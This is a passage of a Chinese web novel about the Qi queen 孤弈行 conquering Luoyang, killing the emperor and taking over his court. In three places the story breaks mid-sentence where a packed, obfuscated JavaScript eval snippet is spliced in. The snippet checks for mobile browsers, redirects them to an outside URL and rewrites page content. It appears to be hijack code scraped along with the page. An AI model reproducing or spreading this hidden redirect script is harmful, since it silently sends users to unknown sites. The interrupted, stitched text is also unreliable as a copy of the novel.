《陛下她东山再起了》 1. 兵临城下 元宋二十八年的这一日,京都洛阳月明风清,夜色正美,只可惜城内的气氛却压抑得令人喘不过气来。 这一切的一切都是因为,祁国军队已经把这座京城围成了一个铁桶。 “幽州蓟城并中都,横云过处连营无。”一女子站在高处,斜倚着墙头,勾了勾唇,言语之间夹杂着几分令人捉摸不透的笑意。 她生着一双自带风流的桃花眼,剑眉却极为凌厉,不经意的举动间便流露出极强的气韵,令人过目难忘。 她的嘴角微微上扬,桃花眼深处流露出张扬的笑意。她拍了拍一旁身穿玄甲的男人的肩膀,傲气侧漏: “你倒是嚣张,这点像孤!如今这句话已经传遍了街头巷尾,想必那皇帝老儿也该听见了!” 孟启笑着点头,明明是祁国的飞骑将军,却在此时被夸得脸上泛起了点点红晕。他声音低厚,答道:“都是王上教得好。” 孤弈行静静地望着这座被深蓝色的夜幕笼罩,城门紧闭的洛阳城,眼底的侵略气息浓重,难以掩盖。 说来也唏嘘,就在这一年间,路朝皇室痛失太子和七皇子,而此时皇室的力量早已大不如前,不足以控制五大诸侯国,天下呈六师鼎立之态势。 然后正当众人以为天下将要因此十几年,甚至几十年长期陷入战争的泥潭,没有一人能真正独揽天下大权时,祁国女王孤弈行却率领横云铁骑横扫四国,连拔十几座城池,最终大军压境于路朝皇城之下。 这样一来,天下人心中皆知,没有了粮食供给和军队外援的支持,就算皇城固若金汤,又能撑得了几时? 如今的洛阳城早已不负往日繁华与生气,只空余死气沉沉的一片孤寂。孤弈行自然也知道,洛阳城里那位的好日子所剩不多了。 “王上,我们何时攻城?” 孟启陪伴孤弈行多年,也算了解她的习性,但经过这一回,他发现自家的王上比自己想象的还要能忍。 在洛阳城外扎营了十几日,虽然有足以维持温饱的衣物和粮草,众将士也都已经摩拳擦掌,快待不住了。 偏生自家王上还在洛阳城外十几里的地方光明正大地修了一座堡垒,仿佛是要定下心在这里常住似的,这怎能令人不心急? “急什么?传孤的命令,让沈离松给孤在晋安门让出一条路来,其他人就地休整,对外务必营造出大军松散的假象。”孤弈行摆弄着手中的玉佩,一副气定神闲的模样。 “是!”孟启随即退下。 “父王,那时您曾说君要臣死,臣不得不死,为此您甚至还献出了我祁国十万铁骑。” 孤弈行望着手中的玉佩,眸色渐深。 这本是一块上好的和田白玉,以它原本的价值买下区区一座城池根本不在话下,在这世间可谓是有价难求。 而如今,白玉,亦有了瑕。 就在两年前,祁国上一任王上,也就是孤尧章亡于归国途中之时,孤弈行手持利刃,亲手将这一块原本完美无瑕的宝玉生生地划出了一道裂缝,一道难以被忽视的瑕疵。 白玉有瑕人有隙,孤弈行便是要借此夜夜提醒自己不要忘记路朝皇室给予祁国的薄幸。 这一日,她等得太久了。 “但若是这一次,我为君,他为臣呢?”孤弈行的眉宇间闪过一丝狠戾,笑意张扬。 “鱼,就快要上钩了。”孤弈行侧倚着墙,望向洛阳城的眼神意味深长。 然而就在此时,洛阳城内一处古朴的宅院之中,一青年男子正左右手持子对弈,神态自若,似乎外界的风云变幻皆与他不甚相关。他便是当朝吏部尚书言钟正之子言煜。 言煜生有一双极为矜贵的凤眼,眼神藏而不露,眼尾却微微上扬,眉如远黛,让人不忍怀疑他的风流是藏在骨子里的。 他的身旁立着一劲服少年,脸上稚气未消,一双葡萄眼更显灵动。他是言煜的贴身侍卫,名唤飞鸢,明明只有十五六岁的模样,佩剑却始终不离身。 “少爷,您今日这棋下得……似乎和以往都不同。”飞鸢看着棋局,有些纳闷。 “有何不同?”言煜声如温玉。 飞鸢的眉头微微蹙起,他似是绞尽了脑汁也没想出个所以然来。 此时,不远处一少年男子疾步走到言煜身旁拍了拍他的肩膀,随即盘腿而坐,那架势似是不请自来。 “都这个时候了,你还有心思下棋?”赵霖似是走得有些口渴,片刻后一杯茶便下了肚。 这时他似是想起了正事,向言煜挑了挑眉,道:“下棋有什么意思!不如……和我去新开张的散花楼玩玩?” 赵霖身着白衣锦缎,上缀金丝宝石,一身珠光宝气,作为京城最有名的纨绔子弟,他倒也算名副其实。 言煜望着棋局,素来矜贵庄重的凤眼此刻眸色深沉,似一泓幽静的深潭,令人看不清他心中所想。 他的手微微倾斜,手中的棋子顺势滑落在桌面上。他不再看着这些棋子,而是侧过身拍了拍赵霖的肩膀,嘴角微微上扬,一副风流肆意的模样:“倒也不错。” 赵霖喜出望外,拉着言煜就往外走,庭院之中顿时安静下来,只余几缕瑟瑟秋风。 棋盘之上,黑白两子看似势均力敌,实则大部分黑子已经将白子层层包围,并不断向外延伸,势如破竹,而白子却是大势已去。 洛阳皇宫,御书房。 永徽帝身披五爪龙袍,倚在龙椅上,威严尽显。然而原本因为皇家的保养秘术还能够勉强维持的容态,却因为近日的消息而疲态备显,使得这位帝王一时间仿佛老了十岁。 永徽帝下方的镶金交椅前,一位年近五旬的老者挺身而立。 言钟正乃当朝吏部尚书,是在朝堂之上颇具名望的老臣。此时的他面色凝重,身着紫色官服,却流露出几分寻常人没有的清冽之气。 一个小太监快步走至御书房,却在门外停下,不敢进入了。 汗珠很快沁满了他的额头,他急忙擦拭,深怕在天子面前露出半分不端之态,但他的整个身体却仿佛不听使唤,颤抖得更加厉害。 “进来。” 永徽帝自幼习武,对于外面的动静还是能分辨一二的。 “是。” 那可怜的小太监半抖着身体走了进来,途中差点被御书房的门槛绊倒在地,好不容易稳住身体却听见帝王低沉的声音中宣泄着怒气与厌烦。 “给朕说!” 那小太监啪地一下重重地跪在地上,头抵着地面,不敢直视君王的眼睛。 “启禀陛下……刚刚谷嘉仓来报,说……说是城里的粮食只够坚持两日了。”那小太监声音发抖,将头埋得更低了。他似是揣测到圣上的怒气,一连重重地磕了几个响头,额头上顿时有了红肿,“陛下息怒!” “废物!一群废物!”永徽帝果然暴怒,直接拍案而起。 想来也是,粮仓中谷粒所剩无几就代表着,永徽帝将被死困在这座曾经见证他包揽天下至高无上权力的洛阳皇城,而他最后却是败在一个初出茅庐的小丫头手上,这怎能令其不怒? 一旁的言钟正亦眉头紧锁,面色铁青,不语。 “给朕把宋成武叫来!”永徽帝心绪不安,滔天之怒几乎难以抑制。 自从祁国连并四国直逼皇城后,孤弈行这个名字几乎成了永徽帝的一个心病,是众人不敢提及的忌讳。 不过现如今,这个名字已经不只是一个忌讳这么简单了。那似乎是足以覆灭一切的巨石,重重地压在永徽帝的心头,使他几乎喘不过气来。 很快,小太监领着一个身着戎甲的男人进入了御书房。而这位体型健硕,皮肤黝黑的男子便是当朝的羽林军首领宋成武。 “微臣参见陛下!”宋成武行了个极为标准的跪拜之礼。 可此时的永徽帝已经顾不得这些平日里的繁文缛节。他的面色依旧不改沉重,只道:“爱卿平身。外面情况如何?” “回陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“尚书认为有何不可?”永徽帝显然以为抓住了突围的时机,神经的极度兴奋使他忽略了隐藏的危险,竟显出几分不耐烦。 “先不论这是否是孤弈行的诡计,陛下若弃城而逃,必失民心。民心若失,江山如何安然啊陛下!”言钟正感情激荡,又行以跪拜大礼,“老臣甘受陨首之责,惟望陛下三思!” 面对言钟正的直言,永徽帝龙颜微怒,但看到言钟正跪拜时已经不能蜷缩而微微隆起的后背,终究是念了几分君臣之情。可即使如此,他也断不可能放弃这唯一的生念。 “钟正,朕意已决。若你愿意,可带上煜儿与朕一同出城。”永徽帝将言钟正扶起,微微叹气,道。 “臣惟望陛下,三思!”中气知足的嗓音回荡在御书房,久久不散。 洛阳城外,祁军军营。 孤弈行已换上一身戎装,长发高束,正红色的披风于空中飘逸,却衬得整个人愈发明艳,同时更多了几分凌厉之气。 她手持长剑,此剑剑长三尺,通身以血铜打造,镶有血云之纹。此剑极其锋利,可削铁如泥,亦有凌厉浩然之气,名曰仗天。 仗天出鞘,彰显着孤弈行此战必胜的决心,祁军一扫十几日的郁闷难耐,皆昂首挺胸,一时间气势磅礴。 “密探来报,永徽即将于晋安门出城,尔等随孤迎敌!势必活捉永徽!” “是!” 由于走得匆忙,永徽帝与其大大小小的后宫妃嫔们也来不及带上多少东西,便身着便服在羽林军的护卫下从晋安门而出。 晋安门守卫不多,整个过程出奇的顺利,让永徽帝心中生疑。 很快,奉命退守的祁国将军沈离松开始率兵佯攻,祁国大军刻意节节败退,将永徽帝和羽林军等人带入了一片广袤的平原。 一入平原,祁国军队便一改颓势,反守为攻,将永徽帝和羽林军团团围住。 宋成武算得上忠勇,率领羽林军誓死反抗,最终身死异处,羽林军几乎被全歼。 永徽帝显然已经看清了形势,他回想起言钟正的话,却已经是追悔莫及。这一局,他赌输了。 “拜见王上!” 永徽帝正黯然出神,却被这句话拉回了冰冷的现实。 不远处正朝他走来的是一个女子,她看上去尚且年轻,桃花眼风流恣意,剑眉却格外凌厉,此人正是孤弈行。 她身着戎甲,手持宝剑,正红色的披风于空中飘荡。 2. 复仇 “孤弈行!”永徽帝的声音低沉且略显沙哑,仿佛如鲠在喉。 他似乎在一瞬间看清了这一切悲剧的根源,发了疯似的想要将其抓住,眼底血丝弥漫。 “将死之人,孤劝你省点力气。”孤弈行根本不去理会永徽充斥着怨恨的眼神,心中的快意毫不掩盖,笑容张扬肆意。 “孤交给你的任务完成得不错,赏!” 永徽刚刚还被孤弈行的言语气得说不出话来,听到这话时更是感觉头脑嗡的一声,眼前突然一片漆黑。 等到再次睁眼,他却看到自己的身后,一个鹅蛋小脸的女子低着头向孤弈行走去。 那女子生有一双柳叶眉,极具江南女子的气韵。柔弱娉婷,大概是很多人对她的直观印象。 “静嫔,你这个贱人!”到了生死关头,纵使是从小生在帝王之家的永徽也没了什么礼数气节,他破口大骂,随即痛苦地吐了一大口鲜血。 “陛下!”皇后连忙上去扶住被气得奄奄一息的永徽,她望着逐渐走远的静嫔,后背一凉。 要说这静嫔,自打入宫以来,一向做小伏低,极重礼数,很少出错,但因为不受恩宠,常年被冷落。 这样一个看上去胆小,懦弱的女子,她几乎从来没有放在心上,甚至连她的名字都记不清,只记得她是这后宫里那个空有嫔位,对任何人都没有威胁的静嫔。 而也就是这样一个不起眼的人物,现在却成了截断他们生路的最后一片荆棘。 顿时,皇后望向孤弈行的眼神之中多了几分惊惧。 此刻她忍不住去想,能说服这样一个懦弱的女子成为自己手中一颗定人生死的棋子的人,该是多么地可怕! 然而之后的场景更是让众人傻了眼,静嫔走到孤弈行面前,一改往日懦弱姿态,声音极为干脆。 她径直跪下去,行了祁国极为规范的君臣之礼:“臣旭风营骑都尉琴潇参见王上!王上千岁千岁千千岁!” “平身!”孤弈行将琴潇扶起,她勾了勾唇,嘴角顿时弥漫开些许不屑,“带琴都尉把这一身脏东西换了,孤看了心烦!” “是!”士兵随即领着琴潇离开。 这个时候的永徽几乎已经气得失去了理智,一旁的皇后更是瘫倒在地,痴痴地笑:也是,哪有什么静嫔啊!她从一开始就是祁国派来监视皇城的棋子罢了! 下一秒,皇后仿佛失去了神志,猛地一下冲了出去,被祁国士兵生生逼退。 她半笑半哭,因为接受不了这样的打击终于疯了:“孤弈行!你不是人!是魔鬼!是幽灵!”话音未落,她便瘫坐在地上。 “皇后别忘了,是谁薄幸在先?如今却要怪孤心狠手辣?”孤弈行的眼底戾气难消,她眉心微挑,言语之间气势尽显,“既如此,纵使背负骂名又何妨!” “永徽,你与孤之间的恩怨也该清算清算了。” 孤弈行手持仗天,一步步走到永徽面前。她的眼眸深沉,此刻仿佛一处幽静的深潭,泛起缕缕微波。 永徽帝依旧在人前支撑着威严的神态,似乎在竭力维持着属于皇家的最后一分体面。尽管在孤弈行看来,这简直可笑至极。 “其实很简单,孤只要你在孤面前跪下,向孤的父王,谢罪!”孤弈行眸光未动,眼神犀利。她的声音略显低沉,却极具压迫感,“孤就放他们一条生路。” 永徽帝怒极反笑:“你想要朕给你这个未满二旬的女娃娃下跪,简直是痴心妄想!” 永徽帝的眼神中流露出这位帝王自负狠绝的一面。事到如今,他还不忍放下自己的尊严,甚至不惜为此付出妻儿生命的代价。 如此一来,那些嫔妃和皇子公主们望向永徽帝的眼神可就十分精彩了,其中包含怨恨的不在少数。 人嘛!都是自私的。生死面前,别人的尊严一文不值,而在薄情寡义的路朝皇室,就算是所谓的血脉至亲也不过如此。 孤弈行笑意张扬,眼神流露出几分嘲弄和几分挑衅:“只不过,这恐怕由不得你了。” “你们之中若有人能用仗天让永徽跪在孤面前,孤可以考虑放你们一条生路。” 此话一出,众人皆面面相觑。 孤弈行之意,是让路朝皇室血脉相残。显然,这对永徽帝而言是赤裸裸的背叛,对他本身而言就是致命一击。 然而此时,就算孤弈行的目的更明显,要求更过分,即使是要手刃永徽,这个条件也已是足够诱人。 毕竟,既有生路,谁又想死呢?死了,一切便成了空,还要这不值一提的尊严作甚? 可怜那永徽还高昂着头,以为自己的妻儿作为自己的至亲,必然不会背叛自己。但他很快便眼睁睁地看着一个熟悉的面孔出现在自己面前,这一刻,他是绝望的。 “父皇,对不住了。” 陆鸣肤色呈麦色,个子不高,体型还算健硕。虽是这路朝的二皇子,却沾染了几分市井间的肮脏习性,吃喝嫖赌样样不缺,可谓是败家子一个。 孤弈行看到永徽气到胡子都歪了,差点没忍住笑出声来。 她眼看着陆鸣向她走来,接过仗天剑的那一瞬间整个人却猛地沉了下去。陆鸣青筋凸起,使出浑身解数,却始终没有使仗天剑离地。 看到这一幕,永徽的脸色都变了,无奈之余是一片死沉。 孤弈行难得看到了一件稀奇事,一时间几乎不敢相信自己的眼睛。她双手抱胸,放肆大笑,肩膀都因为这突如其来的笑意而微微颤抖。 “这就是你们路朝皇室吗?堂堂七尺男儿竟连孤的佩剑都提不起来,还妄想坐稳这江山?尽是些金玉其外,败絮其中的东西!” 孤弈行上前将陆鸣一把推开,随即不费吹灰之力地举起仗天剑,向永徽逼去。永徽抽出行囊中的一把软剑,与之相抗。 孤弈行的速度极快,且招式凌厉,有大开大合之势,变幻莫测,不拘小节。 因而相比之下,永徽一直处于被迫防守的境地,只是勉强地接住孤弈行的招式,却在不知不觉中落了下风。 孤弈行一边持剑厮打,一边动用内力,引内力于掌间。刹那之间,寒风四起,卷起泥沙碎石,使得众人几乎睁不开双眼。 孤弈行没有给永徽片刻喘息的余地,一掌直击其胸膛,又以仗天于其膝盖处重重一击。几乎在一瞬间,永徽跪倒在地,鲜血淋漓。 孤弈行知道这一掌她动用了七成内力,永徽此刻心脉尽断,已是药石无医。而他,最终会以这样跪拜的姿态面对死亡,这便是对他最大的惩罚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828714|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你面对的方向,是祁国,是他和十万铁骑的埋骨之地!”孤弈行眼底血丝弥漫开来,桃花眼蒙上了一层淡淡的忧伤,“而他从始至终,绝无半分谋逆之心!” 永徽没有抬眼,不是不想,而是不敢。 两年了,每当到了那个日子,他总会做噩梦,梦到孤尧章还有十万惨死的祁国将士前来向他索命。 但即使如此,他依旧不后悔做出那个决定,因为只要有孤尧章在,他亦不得高枕而眠。 鲜红色的血液从永徽的嘴角渗出,沾染了皲裂的地面,是一片深沉的殷红。 永徽跪在地面上,高贵的头颅终于低了下去,整个人面对西北的方向,以一种跪拜的姿态。 “据说永徽在郊外建了一座规模不错的行宫,就把他们锁在那里,吃穿用度一切如常。”孤弈行漫不经心地挥了挥衣袖。 “多谢王上!多谢王上!”那些皇室皆跪拜在地,面对孤弈行俯首称臣,唯独皇后一人还在那里痴痴地笑。 不过,他们的眼神中莫不闪过一丝庆幸,其中自然包括二皇子陆鸣。 “孤有说让你走了吗?”孤弈行持剑直指陆鸣,陆鸣的后背凉了大半。 “王上不是说……” 孤弈行笑意张狂,眼底却尽是冷漠:“孤说孤会考虑,不过……据孤所知,你身为皇子,强抢民女,无恶不作,又如何认为孤会放过你呢?” 别看陆鸣平时是个天不怕地不怕的混账,这个时候还是照样被吓得两股战战。 孤弈行似是看他可怜,眼眸间闪过一丝难得的怜悯:“孤赏赐你一个机会,若你能逃过孤的箭,孤就大发慈悲,放你一条生路。” 此话一出,陆鸣眼神微动,随即拔腿而逃。 孤弈行从孟启手中接过一把长弓,一面将弓拉至满月,蓄以强力,一面手持羽箭。 孤弈行微微眯眼,瞄准陆鸣移动的方向,声音尽显慵懒:“一、二、三!可惜了。” 几乎在一瞬间,羽箭飞驰而出。孤弈行放下了长弓,毫不犹豫地转身离去,仿佛一切已经结束。 孟启回头,看到羽箭自陆鸣的后背穿入他的胸膛,他无力地跌倒下去,而羽剑自他的胸口穿出,重重地刺入地面。 羽箭上,血迹未干。 “众将士,随孤入城!”孤弈行掀起正红色披风,翻身上马,动作极为干脆利落,没有半分拖泥带水。 “是!”祁国士兵排列整齐,浩浩荡荡地往洛阳城长武门而去。 祁军穿过大军军营和临时搭建的堡垒,兵临洛阳城下。 洛阳城内守备本就不足,再加上因为永徽帝私自出逃调遣了大半人马,如今守城的士卒更是少得可怜,只有零丁的十几个人立在城墙之上,眼睁睁地望着祁国大军浩浩荡荡而来。 然而这些士兵似乎已经听闻了永徽帝出逃且惨死的消息,守军内部人心惶惶,军心一下子散落殆尽,根本没有与祁军一战之力。 “洛阳的将士们!想必你们已经听闻永徽出逃的消息,身为帝王,他丝毫没有护佑子民之心,眼里只有自己的性命。”孤弈行朱唇微启,声音铿锵有力。 “不仅如此,永徽残害忠臣,是为不义。如此昏庸无为,鱼肉百姓的君主如何值得你们替他卖命?” 3. 初见 孤弈行眼神坚定,面色严肃,全与方才将皇室玩弄于股掌之间的狠戾:“孤允诺,若你们放下武器,孤便放你们一条生路。” “之后,若你们选择弃甲归田,孤尊重你们的选择。若你们选择之后为孤效忠,孤将对你们与我大祁将士一视同仁,有功必赏,有错必罚!” “若你们依旧坚持为了前朝战死,孤允诺不牵连你们家人性命。至于如何抉择,孤不会强迫。” 此言一出,洛阳守军皆面面相觑。很快,有几个士兵自城门而下,但更多的士兵面向祁国大军的方向正身而立,城门缓缓打开。 “臣等愿效忠陛下,恭迎陛下入城!” “父王,本属于你的,还有属于他的一切,我全都拿到了。”孤弈行望着这座对她城门大开的皇城,眸色微动,“你终于可以瞑目了。” 城门敞开,孤弈行策马扬鞭,驰骋而入。孤弈行的身后,祁国大军亦浩浩荡荡地进入洛阳城。 进入洛阳内城之后,孤弈行御马的速度渐缓。她悠闲地打量着两侧的商铺市集,回忆起自己记忆深处的洛阳,总觉得有些不同了。 孤弈行对洛阳算不上熟悉,因为在记忆中她只在父亲的陪伴下来过洛阳一次。 洛阳的繁华曾经给她留下了很深刻的印象,不过那时年幼,只觉灯火熙攘好。而今物是人非,却也终究是不同了。 永徽出逃和陆鸣被杀的消息很快散布开来,路朝皇室一时名声尽毁,相比之下,孤弈行的名声就好得多了。 道路两旁围观的人越来越多,他们的眼中尚存警惕和畏惧,不过敬仰的心情却也难以掩盖。 “没想到这祁国女王竟这般风流潇洒,丝毫不输男子,加之容色倾国倾城,真乃百闻不如一见也!” 酒楼之上,赵霖倚在墙边,正毫不吝啬地赞叹。他频频往下望去,竟丝毫没有想要收回目光的意思。 他的身旁言煜正在品茶,他抿了抿唇,似乎不为所动。 “言煜啊言煜,光顾着喝茶有什么意思?这么大一个美人你没看见吗?”赵霖似乎对言煜的表现感到极为气愤,忍不住瞥了他一眼。 言煜的嘴角微微勾起,轻抿了一口茶,唇色如温玉。他总算起身,往下望去。 由于马行走的速度尚快,言煜堪堪捕捉到了戎衣女子的侧颜,不过已经足够。 那女子生着一双极为勾人的桃花眼,剑眉却极为凌厉,只需一眼,便能够看出其气度绝非常人。 正红色的披风衬得她更添几分明艳之色,也难怪赵霖这家伙被迷得神魂颠倒,口出妄言了。 “想想有没有这个命再说话也不迟。”言煜恣意一笑,揶揄道。 赵霖被言煜这话点醒,随即自嘲地笑笑。 这时,飞鸢走到言煜身旁。 “如何了?”言煜一改方才肆意言笑的公子哥模样,眉头微微蹙起,神情严肃。 “少爷,飞鸢打探到老爷得知了先帝……的消息,如今还在御书房。我们是不是要……”飞鸢眉头紧锁,似乎遇到了棘手之事。 相比之下,言煜的神色却格外平静,言语之间不起一丝波澜。那双矜贵的凤眼此刻仿佛凝着一层薄雾,令人看不清他心中所想。 “不必了。” 言煜望见那霸气侧漏的红色背影逐渐消失在转角处,他撩起长袍,回到桌前坐下。 他眉心微挑,声如温玉,言语之间仿佛能轻易窥探人心的最深处:“若我之前了解的消息不假,凭借她的智谋,她这个时候不仅不会打压前朝重臣,反而会尽力拉拢。” 飞鸢不说话了,因为在他印象中,只要是自家少爷预料到的事情,就没有出错的。虽然他有时总是跟不上自家少爷的思路,不过没关系,照做就是了。 “言大人忠勇刚直,你为何觉得他会留下?”倒是一旁的赵霖耐不住性子,插了一嘴。 “父亲忠勇不假,但先帝却未必不是他的一块心病,毕竟明主难求。”言煜仿佛置身事外,却在只言片语之间分析着如今之局。 不知为何,言煜的脑海中浮现出那红衣女子御马的画面,嘴角忍不住微微勾起:“她或许,能给我惊喜。” “如果你分析的都是真的,那我真的觉得哪一天你看我不顺眼了,顺手就能送我去见阎王!” 赵霖瞧着言煜这番模样,很是不爽。不爽明明差不多的家境,旁人眼里差不多的风流公子行径,怎么这心思就差这么多呢? 言煜把玩着一个晶莹剔透的青玉扳指,浅笑不语。 孤弈行所至之地,皆畅通无阻。整座皇城仿佛都以一种谦卑的姿态,恭敬地迎接着它未来的新主。 御书房外,还有几个老臣跪在那里。为首者头戴官帽,身着紫色官服,脊背微弓。 很快,祁国士兵将这座皇城团团围住,其中自然也包括御书房。 “众大人忠心耿耿,朕甚是欣慰啊!”孤弈行学着永徽虚伪的模样,硬生生地把张扬的笑意憋了下去,憋得还甚是辛苦。 “孤弈行!别以为所有人都怕你,我就不怕你!大不了一死,八百年之后樊某照样是一条英雄好汉!” 樊文舒实在忍无可忍,指着孤弈行便破口大骂,老脸涨得通红。 不过他却是不知道,自己这番举动在孤弈行看来甚是新奇好玩,甚至还有几分惊喜。 “孤倒是太久没有看到像樊大人这般有江湖气之人了,甚是怀念啊!” 樊文舒心中等待的是寒光一舞,自己便能超脱,结果指着鼻子骂了一通,人家孤弈行根本没有半分怒气,反而笑着逗他玩呢!这岂能不气! “众大人都认为孤是乱臣贼子,但是孤做了什么?” 孤弈行撩起衣袍,倚在金碧辉煌的龙椅上,一边翘着二郎腿,一边把玩着手中那块有瑕的白玉玉佩,神色悠闲。 “孤不过是报了些该报的仇,杀了些该杀的人罢了。”孤弈行的声音突然极为低沉,“换作是诸位大人,难道杀父之仇,坑杀我十万将士之恨,不该血债血偿吗!” 那些老臣刚刚还都能言善辩,敢于冲撞,这时却都默不作声了。 言钟正眸色微动。 “相比之下,你们的陛下又做了些什么呢?”孤弈行冷笑一声,丝毫没有把永徽放在眼里。 “是苛捐杂税,民不聊生?还是修建行宫,沉溺享乐?是薄情寡义,陷害忠良?亦或者是不听谏言,弃城而逃,让诸位大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828715|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拖着年迈之躯还跪在此处?” 明明是轻飘飘的几句话,却仿佛一根针刺入了这些老臣的神经,道尽了他们这些年的辛酸。 言钟正闭上眼,心中忍不住自嘲:愚忠啊! “诸位大人跪在此处,便可见必死的决心。既然连死都不怕,难道还怕孤允许你们官复原职,成为这社稷的肱骨之臣吗?” 孤弈行似乎已经料定他们的心思,她走上前去,扶起跪在最前面的言钟正,笑道: “孤在祁国便听闻言尚书之佳名,孤有意任命言大人为我朝右相,今后还请言大人不吝赐教?” 一国右相!前朝旧臣一上来就任命一国右相!不说是其余老臣傻了眼,就连言钟正也没有想到这位年纪轻轻的祁国女王有如此气度。 不过言钟正毕竟是这其中资历最深的老臣,纵使心中感叹,神色依旧镇定自若:“多谢陛下信任,不过既然陛下想听老臣之言,老臣想说,陛下乃一国之君,当坐立有态,坐姿不可如此!” 噗嗤一下,孤弈行看着言钟正一本正经的神态,实在没忍住笑了出来:“甚好!甚好!” 如此一来,原本紧张的气氛竟一时间轻松起来,老臣们一一站起,拱手作礼,在孤弈行的命令下回府修养了。 次日,孤弈行称帝,改国号为凤,世称凤希帝,年号永元。 大典结束后,便是早朝。孤弈行身着金色五爪龙袍坐于龙椅之上,尽显威严庄重。 众臣皆行跪拜大礼,随后站立整齐。站在最前面的,便是当朝左相黄和海与右相言钟正,两人官拜一品,皆着紫色官服。 而两人之后便是官居高位的一众武将文官,其中为首的是祁国名将喻威。 要说这黄和海是祁国旧臣,又因为资历很深,成为这新朝左相几乎是板上钉钉的事,相比之下言钟正的任命就让众人有些吃惊了。不过很多前朝旧臣却因此对孤弈行大有改观。 “陛下,臣有本要奏!”太傅蒋闻年身着朱红色官服,向孤弈行拜礼。 要说这蒋闻年与言钟正同样都是前朝旧臣,蒋闻年在前朝任太傅,乃永徽恩师。 然而孤弈行却觉得此人才华平平却目中无人,因而只延续了一个名存实亡,无关紧要的太傅之位。此举之用意,明眼人自然都看得一清二楚。 一来孤弈行虽然年轻,但是治国经验丰富,再加上孤弈行一向我行我素,自然不需要太傅的教导和管束。 二来孤弈行尚未成婚,自然没有什么子嗣,因而蒋闻年连教导年轻的皇亲国戚的机会都没有。 要说有,顶多算是教教祁国来的贵族少爷小姐们,是以这太傅之位几乎就是一个摆设。 这种情况下,孤弈行也没有想到蒋闻年会如此积极地“有本要奏”。但是不管怎样,面子嘛,还是要给的。 孤弈行笑道:“爱卿有何事要奏?” “不知陛下可知,这两日坊间有一传闻,闹得沸沸扬扬,说是旭风营中有官兵掠夺百姓财物,军纪败坏。” 蒋闻年有意地咳嗽了一下,随即往言钟正所在的地方瞟了一眼,声音愈发洪亮。 “有人说这是由于陛下管理不当,导致新政不兴,乃陛下之责!” 4. 不速之客 此言一出,就显得意味深长了。 众大臣皆面面相觑,心想着此人竟敢在背地里非议当今圣上,此乃大不敬之罪。再加上言语还如此直接,如今从蒋闻年口中说出更像是当面指责,言辞犀利。 不说孤弈行年轻气盛,就算是换作其他帝王,此人要遭殃,恐怕也已经是板上钉钉的事了! 孤弈行沉默不语,不过她从蒋闻年的表情中就已经觉察到他似乎已经迫不及待地要将这个人的名字公之于众,这恐怕才是他今日此举最大的目的。 孤弈行越是沉默,蒋闻年就越以为龙颜大怒。他显然提高了音量:“而据臣所知,此言正是出自言相之子言煜之口。” 是了!孤弈行面上不说,心中却是难忍笑意。 她一眼就看穿了蒋闻年的小心思。要说在从前,言钟正尚任吏部尚书之时,蒋闻年凭借帝王之师这一身份自然能够和他平起平坐。 然而如今,言钟正官拜右相,乃百官之首,而他倒成了一个可有可无的闲人,岂能不趁机报复一番?这点小心思,就敢拿到朝廷上来议,此人确实不堪重用。 不过此话要真出自言煜之口,这个言煜倒是能勾起孤弈行的好奇。 此时殿下,言钟正面色微青,却依旧站着不语。众大臣窃窃私语,若有所思。 “传朕旨意,彻查旭风营内部,如真有此事,涉事官兵一律军法处置!” 众人原以为这是一句审判,却没想到会是这么个结果。蒋闻年听此,更是面色铁青。 “虽是坊间传言,真假难辨,然绝非空穴来风,旭风营的军纪也是时候好好整顿了!蒋爱卿忧国忧民,朕心甚慰!赏赐白银百两!” 孤弈行随即向言钟正望去,笑道:“言公子才华横溢,所言亦是朕心中所想,看来言相不仅佳名满天下,教子亦是有方啊!” 言钟正的神色逐渐舒缓,他随即鞠躬:“陛下谬赞!臣与犬子愧不敢当!” 早朝后,御书房。 “孟启,查到什么了?”孤弈行倚在龙椅上,翘着二郎腿,姿态慵懒。 她已然换下了庄重的五爪龙袍,身着紫罗兰束腰长袍,眉眼恣意,风流自显。 孟启身着劲服,向孤弈行呈上一卷竹简,上面详细记载着旭风营中违反军纪的人员名单以及所犯军纪。 “启禀陛下,违反军纪之人都在上面了。” “果然确有此事。”孤弈行翻看竹简,眉头微皱,“一律按军规处置!” “是!” 孤弈行似是想到什么,把玩着手中的白玉玉佩,剑眉微微上挑:“查到言煜此人了吗?” “回陛下的话,言煜乃言相独子,年方十九,乃洛阳风流才子之首,亦有天下第一公子之美称,但至今尚未入仕。”孟启停顿了下,似乎还没回答完,脸色却略显潮红。 “有意思。”孤弈行放下竹简,嘴角微微勾起,似乎心中有些惊喜,“还打听到什么?” 孟启咳嗽了一声,继续道:“传言此人容冠京都,是京城……女子的……梦中情人。不过据说身子弱了些,不通武艺。” 孤弈行看到孟启略显窘迫的模样,一下子没忍住笑了出来,逗他道:“说人家呢,孟启你害羞作甚?” 孟启一听此言,脸更红了,甚至低下头去。 好好的一个大将军,被自己逗成这番模样,孤弈行倒是觉得自己挺有成就感的。 不过越是如此,孤弈行对此人便越是好奇。不仅容貌绝世,亦才华斐然,虽然身子弱了些吧,但对于一众风流才子来说武艺也并非是必须项。 